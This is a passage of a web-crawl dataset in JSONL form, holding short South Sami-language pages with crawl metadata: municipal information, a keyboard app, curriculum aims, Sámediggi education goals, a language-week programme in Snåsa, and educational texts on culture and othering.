bearkoeh jïh aaj saemieduodjiem dåekieh. Sijhth saemien kultuvrine jïh saemien aarkebiejjine åehpienadtedh dellie Kliere saemiesijtem tjoerh gussiestehtedh.\nSaemie kultuvre vihkeles biehkie Bierjen tjielte aerpine. Buerie båateme guessine Sápmisne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/saemieh-bierjen-tjielte-samer-i-bergs-kommun","date":"2023-11-30T20:54:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100232.63\/warc\/CC-MAIN-20231130193829-20231130223829-00496.warc.gz","language":"sma","language_score":0.9999841452,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999841451644897}","num_words":98,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båaloebuertieh\nDivvun lea appem «Samiske tastaturer» dorjeme, gusnie mobijlebåaloebuertieh dovne noerhte-, julev-, åarjel-, Pihte-, Anare- jïh skåaltesaemiengïelide. Appen leah 20.12.2018:n raejeste aaj staeriedimmiedïrregh aaj dovne noerhte-, åarjel-, julev- jïh anaresaemiengïelide. Appe sjeahta dovne Androidese jïh IPhoneseAndroid jïh iOS (iPhone jïh iPad).\nVeedtjh daestie\nViehkie\nScreen shots\nPersonevaarjelimmien\nMijjen lea aaj gåetiebieliepersonevaarjelimmien jïh båaloebuertieappi bïjre.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/divvun.no\/sma\/keyboards\/mobileindex.html","date":"2023-11-29T09:23:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100057.69\/warc\/CC-MAIN-20231129073519-20231129103519-00898.warc.gz","language":"sma","language_score":0.9999166727,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999916672706604}","num_words":54,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepiegærja Åarjel-saemieh – Samer i sør\nSaemien Sïjte gærjam Åarjel-saemieh – Samer i sør fïerhten gåalmeden jaepien luajhteme. Voestes gærja riejries 1982\/1983.\nSaemien Sïjten leah daelie luhkiegolme jaepiegærjah. Dah göökte minngemes gærjah leah Saemien åålmegebiejjien jaepien 2017 jïh jaepien 2020 luajhtasovveme.\nMaahtah jaepiegærjide 3-13 daesnie åestedh: vår nettbutikk.\nDaelie maahtah jaepiegærjah aelpebe åestedh!\nDaesnie maahtah lohkedh gïeh leah jaepiegærjaj tjaelijh jïh mej bïjre jaepiegærjide tjaalasovveme:","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/saemiensijte.no\/sami\/jaepiegaerja-aarjel-saemieh-samer-i-sor\/","date":"2023-12-09T08:07:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100873.6\/warc\/CC-MAIN-20231209071722-20231209101722-00342.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":59,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beapmoeh jïh jovkemsh\nLivsmedel\nUpmejen tjïelte beapmoeh- jïh jovkemshgïetedallemem vååksje g.j. beapmoehsijjieh jïh bovrh juktie upmejenåålmegh gelkieh åestedh beapmoeh jïh jovkemsh dåajvoehtamme kvalijtehtem jïh sueteste vaarjelidh jïh jeatjah vuekieh beapmoeh jïh jovkemsh mah ij leah buerie. Juktie beapmoeh lea dan stoerre bielem gåetiej maaksomistie tjuara krievedh buerie eerlege, kvalijtehte jïh hygijene. Jis ij vaarem fuakh dan gaavhtan v.g. dan fæjloedimmie jallh ij buerie maejstieh dellie byöroe voestes gaavhtan bovrem bieljelde. Daamtaj åesine latjkane. Mohte jis beapmojste jallh jovkemistie skiemtjes sjædta jallh såvma desnie ij leah buerie hygijene, byjreske- jïh healsoevaarjelimmiem bieljeldh.\nJeenjebh bïevnesh\nByjreske- jïh healsoevaarjelimmie, telefovne: 090-16 16 97","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/beapmoehjihjovkemsh.4.333c64e217718860a231236.html","date":"2023-11-28T13:26:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679099514.72\/warc\/CC-MAIN-20231128115347-20231128145347-00159.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":97,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nMaahtoeulmieh 4. jaepiedaltesen mænngan\nTaalhMål for opplæringen er at eleven skal kunne\n- buerkiestidh jïh nuhtjedh sijjie-aarvoesystemem dejtie ellies taalide, nuhtjedh positijve jïh negatijve ellies taalh, aelhkie bröökh jïh desimaaletaalh praktihkeles ektiedimmine, jïh taalestoeredahkh joekehtslaakan jiehtedh\n- aerviedimmiem darjodh jïh taalh gaavnedh viehkine åejjieryöknemistie, ryöknemematerijelleste jïh tjaaleldh notaatijste, aerviedimmieryöknemem darjodh jïh vaestiedassh vuarjasjidh\n- evtiedidh, nuhtjedh jïh soptsestidh ovmessie ryöknemevuekiej bïjre addisjovnese jïh subtraksjovnese taalijste jienebi sifferigujmie, dovne åejjesne jïh paehpierisnie\n- evtiedidh jïh nuhtjedh jeereldihkie vuekieh multiplikasjovnese jïh divisjovnese, dejtie nuhtjedh praktihkeles tsiehkine jïh dam onne multiplikasjovnetabellem nuhtjedh åejjieryöknemisnie jïh gosse edtja laavenjassh loetedh\n- bïevnesh gaavnedh tjaaleginie jallh praktihkeles ektiedimmine, ryöknemesåarhtem veeljedh jïh buerkiestidh man åvteste dam veeljeme, tabellemaahtoem nuhtjedh jïh ektiedimmieh ryöknemesåarhti gaskem nuhtjedh, illedahkem vuarjasjidh jïh vaestiedassem åehpiedehtedh\n- damtijidh, eksperimenteradidh, buerkiestidh jïh guhkiedidh struktuvrh taalemaalline\n- matematihkeles symbovlh jïh lahtestimmievuekieh nuhtjedh juktie matematihkeles ektiedimmieh tjïelkestidh gosse edtja laavenjassh loetedh\nGeometrijeMål for opplæringen er at eleven skal kunne\n- damtijidh, væhtah buerkiestidh jïh veesmedh gievlieh, gellieraedtieh, båalah, sylinderh jïh polyedh\n- geometrihkeles goerh jïh maallh guvviedidh, bigkedh, goerehtidh jïh buerkiestidh praktihkeles ektiedimmine, aaj teknologijesne jïh hammoedimmesne\n- damtijidh, nuhtjedh jïh buerkiestidh speejjelesymmetrijem jïh parallellesertemem vihties tsiehkine\n- geometrihkeles maallh darjodh jïh goerehtidh, jïh dejtie njaalmeldh buerkiestidh\n- lohkedh, bïejedh jïh buerkiestidh posisjovnh daabloenedtesne, kaarhtesne jïh koordinaatesystemesne, dovne digitaale dïrregigujmie jïh bielelen digitaale dïrregh\nMöölehtimmieMål for opplæringen er at eleven skal kunne\n- aerviedidh, jïh gåhkoem, arealem, volumem, veahkam, temperatuvrem, tïjjem jïh skaavhtegh mööledh, illedahki bïjre soptsestidh jïh vuarjasjidh mejtie dah leah reaktoe\n- ij-standardiseradamme möölegeektievoeth nuhtjedh, jïh buerkiestidh man åvteste möölegeektievoeth standardiserede, jïh nuhtjedh jïh sïejhme möölegeektievoeti gaskem jarkelidh\n- stoeredahkh viertiestidh viehkine sjiehteles möölehtimmiedïrregijstie jïh aelhkie aerviedimmeste, illedahkide åehpiedehtedh jïh vuarjasjidh mejtie dah leah reaktoe\n- praktihkeles laavenjassh loetedh åestemen jïh doekemen bïjre\nStatistihkeMål for opplæringen er at eleven skal kunne\n- tjöönghkedh, veesmedh, tjaeliestidh jïh daata vuesiehtieh maereleslaakan ryöknemesïevigujmie, tabelligujmie jïh sööjladiagrammigujmie, digitaale dïrregigujmie jïh bielelen digitaale dïrregh, jïh prosessen jïh buektemen bïjre soptsestidh\nSide 7 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Kompetansemaal\/maahtoeulmieh-4.-jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-12-06T17:46:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100602.36\/warc\/CC-MAIN-20231206162528-20231206192528-00766.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":352,"character_repetition_ratio":0.087,"word_repetition_ratio":0.006,"special_characters_ratio":0.139,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nPortrehte-gihtjehtimmie\nGosse datne edtjh portrehte-gihtjehtimmie tjaeledh dellie lohkije edtja dejnie almetjinie datne gihtjehth buerebelaakan åahpenidh. Lïerh guktie datne maahtah gihtjehtimmiem bigkedh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/","date":"2023-11-30T15:16:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100227.61\/warc\/CC-MAIN-20231130130218-20231130160218-00378.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":62,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaejsie 1 siebriedahkefaage teekstegærja\nGaejsie 1 teekstegærja lea siebriedahkefaagen digitaale learoevierhtie voestes klaassese.\nTjaelije: Inger-Biret Vasara-Hammare Sara\nÅarjelsaemien jarkoestæjja: Ellen Bull Jonassen\nBertemeredaktööre: Kirsi Paltto\nReferansedåehkie: May-Britt Hansen Balto jïh Berit Inger Alette Gaup jïh Sofia Vasara-Hammare\nGuvvie jïh hammoe: Liisa Helander\nDeadteme: Waasa Graphics OY\nNöörjen Saemiedigkie lea beetnehvierhtieh dåårjeme learoevearhtan.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.e-skuvla.no\/ya\/product\/gaejsie1-teekstegaerja\/","date":"2023-12-09T22:34:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100972.58\/warc\/CC-MAIN-20231209202131-20231209232131-00194.warc.gz","language":"sma","language_score":0.8659867048,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.865986704826355, \"sme_Latn_score\": 0.1339586228132248}","num_words":50,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïele, kultuvre jïh aerpievuekien daajroe leah vihkeles aarvoeh saemien maadthlïerehtimmesne.\nVihkeles saemien maanah jïh noerh åadtjoeh jïjtsh gïelem lïeredh, jïjtse gïelesne lïeredh, saemien siebriedahkejieleden, histovrijen jïh aerpievuekiej bïjre lïeredh abpe 13-jaepien skuvletïjjen maadthskuvlesne jïh jåarhkeskuvlesne. Daate saemien maanaj jïh noeri identiteetem nænnoestahta, dej aktem jearsoes viedteldimmiem jïjtsh kultuvresne vadta jïh dah goerkesem åadtjoeh sijjieh leah akte bielie aktede stuerebe ektiedimmeste goh saemieh jïh aalkoealmetjh.\nSaemiedigkie sæjhta:\n- Saemien perspektijve gorresåvva ööhpehtimmien jïh dotkemen nasjonaale, noerhtelaanti jïh gaskenasjonaale politihkesne.\n- Saemien perspektijve gorresåvva maadthlïerehtimmien laakine jih stuvremetjaatseginie.\n- Saemieh dam maahtoem, daajroeh jïh tjiehpiesvoeth åadtjoeh mah leah daerpies juktie jieliedisnie bïerkenidh, juktie maehtedh saemien gïelh, saemien siebriedahkh vaarjelidh jïh evtiedidh jïh eadtjohkelaakan meatan årrodh saemien, nasjonaale jïh gaskenasjonaale siebriedahkesne.\n- Daaroe hijven daajroeh åadtjoeh saemien kultuvren, siebriedahken jïh histovrijen bïjre.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/lierehtimmie\/maadthlierehtimmie\/","date":"2023-12-11T05:47:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00624.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":126,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.262,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme rïhpestæmman Gïelevåhkoste jïh aalkoeåålmegegïeli luhkiejaepeste (International Decade of Indigenous Languages, IDIL).\nSnåasen savka golken 23.b. ts. 14.00\nGïelem nastedh jïh Snåasen tjïelte aavoem utnieh gåassoehtæjjine årrodh rïhpestimmesne daan jaepien Gïelevåhkoste våhkoen 43, jïh aalkoeåålmegegïeli luhkiejaepeste (International Decade of Indigenous Languages, IDIL). Snåase gellie åajvoeh guessieh daan biejjien åådtje, men stööremes saernie lea mijjieh dan aavrehke Majesteete Gånka Harald lea stïeresne rïhpestimmesne, jïh dan sjïekenisnie sïjhtebe gaajhkesidie Snåasen savkese bööredidh aejlegen golken 23.b. Daate voestes aejkien Gånka Harald guessine båata Snåasese mænngan gånkine sjïdti, guktie daate stoerre biejjie sjædta Snåsese jïh gaajhkesidie mah Snåasesne årroeh.\nLissine Gånka Haraldese Tjïelte- jïh dajvedepartemeenten Staateraerie jïh Nöörjen, Sveerjen jïh Soemen Saemiedigkiepresideenth aaj sijhtieh meatan årrodh öörnemisnie.\nSnåasen savkan oksh leah ræhpas ts 13.30 raejeste jïh steegkesuvvieh 14.30. Gosse oksh steegkesuvvieh ij gåaredh savkan sïjse båetedh.\nTs.12.30 Doekeme beapmoste jïh prïhtjegistie Snåasen savka\nBeapmoe lïhkebistie, Liverten jïh Snåsa sanitet\nTs.14.30 Kulturelle boelhke Åarjel-saemiej skuvleste jïh Snåasen kultuvreskuvleste\nVuelie, Jon Henrik Fjällgren\nBæjhkoehtimmie EN:n nænnoesvoeteulmijste åarjel- jïh julevsaemien gïelesne\nBæjhkoehtimmie gærjeste «Gånka olkese mielhkiem veedtjedh»\nTs.15.15 M. Gånka Harald Snåasen savkese båata\nRïhpestimmiehåalome Saemiedigkieraereste Mikkel Eskil Mikkelsen\nBuerie båeteme tjïelten åejveste Arnt Einar Bardal\nHåalome Sveerjen Saemiedigkien åejveste Håkan Jonsson\nHåalome Soemen Saemiedigkiepresideenteste Tuomas Aslak Juuso\nHåalome TDD:en Staateraereste Sigbjørn Gjelsvik\nJoekedimmie Giellaloktenbálkkašupmi- saemien gïelebaalhka Saemiedigkiepresideenteste Silje Karine Muotka jïh joekedimmie diplomeste M. Gånka Haraldistie\nTs .16.15 Galhkuve byögkeles programmeste Snåasen savkesne\nTs.16.15-19.30 Doekeme gaskebiejjiebeapmoste jïh prïhtjegistie Snåasen skuvlen kantijnesne\nBeapmoe lïhkebistie, Liverten jïh Snåasen savka\nTs. 17.00 Vuesiehtimmierïhpestimmie Saemien Sijtesne\nVuartesjh programmem Saemien Sijteste\nTs.19.30 Konserte Jon Henrik Fjällgrenine\nSnåasen kultuvrescene (seabradahkegåetie)\nMaanah nuerebe goh 6 jaepien båeries namhtah tjaengieh!\n6-15 jaepieh kr 100,-\n15 jaepien raejeste jïh geerve almetjh kr 200,-\nLeahpah konsertese daesnie åasta: https:\/\/gielemnastedh.hoopla.no\/sales\/event\/jhf\nSååjhtoe unnebe jarkelimmieh programmese båetieh.\nBuerie båeteme gaajhkh dovnesh!","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/gielemnastedh.no\/2022\/10\/buerie-baeteme-rihpestaemman-gielevahkoste-jih-aalkoeaalmegegieli-luhkiejaepeste-international-decade-of-indigenous-languages-idil\/","date":"2023-12-10T10:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101779.95\/warc\/CC-MAIN-20231210092457-20231210122457-00382.warc.gz","language":"sma","language_score":0.9990862608,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9990862607955933}","num_words":282,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KRJE:sne dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme edtja learoehkidie nuepiem vedtedh eksistensijelle gyhtjelassh jïh vaestiedassh goerehtidh. Barkoe KRJE-faagine learoehkidie daajroem vadta almetje-aarvoen bïjre jïh guktie daate gårresåvva ovmessie religijovnine jïh jieledevuajnojne. Faage viehkehte learohki maahtoem evtiedidh etihkeles gyhtjelassi jïh dåeriesmoeri bijjeli ussjedadtedh mah leah identiteeten, tjoelen, seksualiteeten jïh psykiske healsoen bïjre.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/rle02-03\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-12-11T06:53:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00354.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":51,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvre\nBaakoe kultuvre tjuvtjede dïsse maam almetjh leah sjugniedamme, goh joekehtse destie maam eatneme lea sjugniedamme. Maahta kultuvrem nuhtjedh dej darjomi bïjre mejtie almetjh aktene seabradahkesne sjugniedieh, goh daajehtsisnie nöörjen kultuvre, jallh eerpeme praksise aktene dåehkesne, goh daajehtsisnie sïeltekultuvre. Sïejhme goerkesisnie maahta kultuvrem gaskesadtemasse ektiedidh: kultuvre lea gaajhke man åvteste almetjh maehtieh sinsitniem guarkedh jïh laavenjostedh, gïelen jïh åssjaldahki raejeste fearadimmievuekien jïh aerpievuekien raajan. Daan goerkesen mietie göökte almetjh mah gaskesedtieh, sijhtieh iktesth maam akt kulturelle juekedh. Daate goerkese kultuvreste dan åvteste vuajnoem ovmessie kultuvri bïjre haasta mah leah sïerrene sinsitneste.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/kultuvre","date":"2024-02-25T09:31:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474594.56\/warc\/CC-MAIN-20240225071740-20240225101740-00019.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":91,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh saemiengïelesne voestesgïeline jåa3 lissiebigkemisnie sïejhme studijemaahtose gosse faagegïelem ovmessie njaalmeldh jïh tjaaleldh gaskesadtemetsiehkine nuhtjieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse ovmessie njaalmeldh jïh tjaaleldh teeksth analyseradieh, toelhkestieh jïh viertiestieh, jïh gosse goerehtieh jïh teeksti bijjeli ussjededtieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh saemien gïelen, kultuvren jïh siebriedahken bïjre nuhtjieh gosse ussjededtieh jïh jïjtsh teeksth darjoeh ovmessie sjangerinie joekehts aajkojde jïh dåastoejidie. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse gïelen jïh teeksten bijjeli ussjededtieh viehkine faagegïeleste, gosse veelelaakan njaalmeldh jïh tjaaleldh soptsestieh jïh gosse gïeleldh hammoekrïevenassh haalvoeh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh åadtjoeh meatan årrodh tsevtsedh, jïh lïeremelastose skreejrehtidh gosse learohkh åadtjoeh kreatijvelaakan jïh goerehten barkedh faageles gyhtjelassigujmie. Lohkehtæjja edtja sjïehteladtedh guktie learohkh njaalmeldh jïh tjaaleldh maahtoem evtiedieh gosse nuepiem åadtjoeh jïjtsh teeksth guhkiebasse evtiedidh faageles kriteriji jïh daajroej mietie gïelen jïh teeksten bïjre. Lohkehtæjja jïh learohkh edtjieh evtiedimmien bïjre soptsestalledh maam learohkh saemiengïelesne voestesgïeline vuesiehtieh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh edtjieh nuepiem åadtjodh soptsestidh maam tuhtjieh haalvoeh, jïh jïjtsh faageles evtiedimmien bijjelen ussjedadtedh. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh jïjtsh njaalmeldh jïh tjaaleldh teeksth guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv203?lang=sma","date":"2024-02-25T18:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00399.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":210,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh, doh mubpieh jïh mubpiedehteme\nTeemah\n- Åvtelhaarvoeh jïh dåehkieussjedimmie\nDaajehtse mubpiedehteme vuesehte baakose, dahkojde jïh prosesside mah såemies indivijdh biejieh goh «doh jeatjah», goh naakenh mah eah leah «mijjieh\/mijjem».\nMubpiedehteme goh bijjemes daajehtse\nMubpiedehteme lea bijjemes daajehtse juktie tjïelkestidh ålkoestimmeles mekanismh mah skaarine sjidtieh ovmessie dåehkide seabradahkesne. Maahta tjïertevidtjien, sexismen, sïerredimmien bïjre homofijlijste årrodh jallh jeatjah prosessh mah skaarese sjidtieh dåehkide. Lissine mubpiedehteme maahta åtnasovvedh ovmessie mekanismi bïjre ålkoestæmman, åvtelhaarvoej jïh ussjedimmievuekiej raejeste mikroaggresjovnen jïh sïerredimmien raajan.\n\"Fïerhte «mijjieh» soptseste aaj naan jeatjebh gååvnesieh mah leah «doh mubpieh»\nFïerhte «mijjieh» soptseste aaj naan jeatjebh gååvnesieh mah leah «doh mubpieh». Gïeh mijjieh jïh gïeh doh mubpieh, lea daamtaj jearohke konteeksteste. Mijjieh mah juelkietjengkeren lyjhkebe, ibie doh seamma goh mijjieh mah lohkehtæjjah, jalhts maahtam bieline årrodh gåabpagistie «mijjieh». Men dovne baakoeh jïh dahkoeh maehtieh aaj muvhtide dåehkide seabradahkesne aktem vielie leeseldihkie posisjovnem vedtedh goh «doh mubpieh». Akte vuesiehtimmie maahta åssjaldahke årrodh sïjsevaanterdæjjaj bïjre goh «doh mubpieh». Daate dïhte maam gåhtjobe mubpiedehteme (englaanten gïele: othering).\nMij joekehtse vihkelesvoetem åtna?\nMubpiedehteme våaroeminie åtna aktem såarhts joekehtsem gaskem «mijjieh» jïh «doh mubpieh». Daate joekehtse mijjieh-dåahkan domtesem identiteeteste vadta, «mijjieh» libie dah mah eah leah joekehts naemhtie.\nIj læjhkan daarpesjh tjïelke joekehtse årrodh; maahta aaj årrodh «doh mubpieh» defineereme sjidtieh åvtelhaarvoej jïh mytaj mietie. Akte vuesiehtimmie dïsse maahta åssjaldahke årrodh nöörjen juvdelassjh stuerebe lojaliteetem Israelese goh Nöörjese utnieh. Daate lea myta, jïh ij naan tjïelke joekehtse juvdeles jïh ij-juvdeles daaroej gaskem – læjhkan daate åssjaldahke juvdelassjh åtna goh «doh mubpieh». Seamma tïjjen dïhte «mijjieh» goh lojaale Nöörjese defineerie.\n\"Dåehkieh darjodh jïh «mijjieh» jïh «doh mubpieh» dåehkide juekedh kreava dan åvteste naan joekehtsh leah vihkeles, mearan jeatjah joekehtsh vöörhkesuvvieh, jallh unnemes unnebe vihkelesvoetem åådtje.\nAlmetjh joekehts, jïh joekoen gellielaakan joekehts. Dåehkieh darjodh jïh joekedimmie gaskem «mijjieh» jïh «doh mubpieh», kreava dan åvteste såemies joekehtsh vihkeles leavloem åadtjoeh, mearan jeatjah joekehtsh vöörhkesuvvieh, jallh unnemes unnebe ulmiem åadtjoeh. Jis almetjidie ålmine jïh nyjsenæjjine juekebe, dellie vuesiehtimmien gaavhtan gellie joekehtsh mejtie veeljebe ij krööhkestidh, mearan leavloem tjoelese bïejebe.\nDaajehtse mubpiedehteme daan prosessese vuesehte gusnie dåehkiejoekedimmie lea illedahke mestie akt maam almetjh darjoeh, gïelijste jïh dahkojste. Joekehtsh gååvnesieh, dåehkieh dorjesuvvieh.\nHævvi gaajhkh joekehtsh eah leah seamma vihkele – mijjieh tjoerebe joekehtsh kategoriseeredh jïh joekehtsh öörnegen mietie bïejedh. Dovne religijovne jïh tjoele leah kategorijh joekehtsijstie mejtie jeenjesh vienhtieh reaktoe vihkelesvoetem bïejedh. Men ibie daarpesjh sïemes årrodh vuarjasjimmesne mah joekehtsh mah leah vihkele. Naakenh vienhtieh tjoele lea vihkele dan åvteste dïhte vuesehte gïeh sijjieh jïh mubpieh leah, jeatjebh leavloem biejieh religijovnese, naakenh vienhtieh gåabpegh bielieh utnieh jallh byöroeh utnedh onne vihkelesvoetem.\n\"Ij leah akt ajve mov veeljeme mij muana mah joekehtsh mah vihkele munnjien.\nIj leah akt ajve mov veeljeme mij muana mah joekehtsh mah leah vihkele munnjien. Dovne relasjovnesne jeatjah almetjidie jïh abpe seabradahkesne, njoelkedassh gååvnesieh mej joekehtsi bïjre mah leah vihkele. Aaj mijjen mïrrestalleldh seabradahkesne joekehtse ålman jïh nyjsenæjjan gaskem gaajhkem lehkiem jæjhta, gaskem jeatjah åtnoe pronomenijstie daaroengïelesne, joekedimmieh dejnie ellen jeenjemes statistihkine jïh byögkeles ohtjegåetine. Dan åvteste seabradahke joekehtsem ålmaj jïh nyjsenæjjaj gaskem åtna goh vihkele, dellie gaajhkesh noerhkesuvvieh daam krööhkestidh, jalhts dah maaje lin sijhteme dam slyöhpedh.\nJeenjesidie mijjeste lea aaj jeatjah joekehtsh mah rïektesisnie vihkele, aarkebiejjien, goh dah joekehts mejtie dagke tjuvtjiedibie goh vihkeles 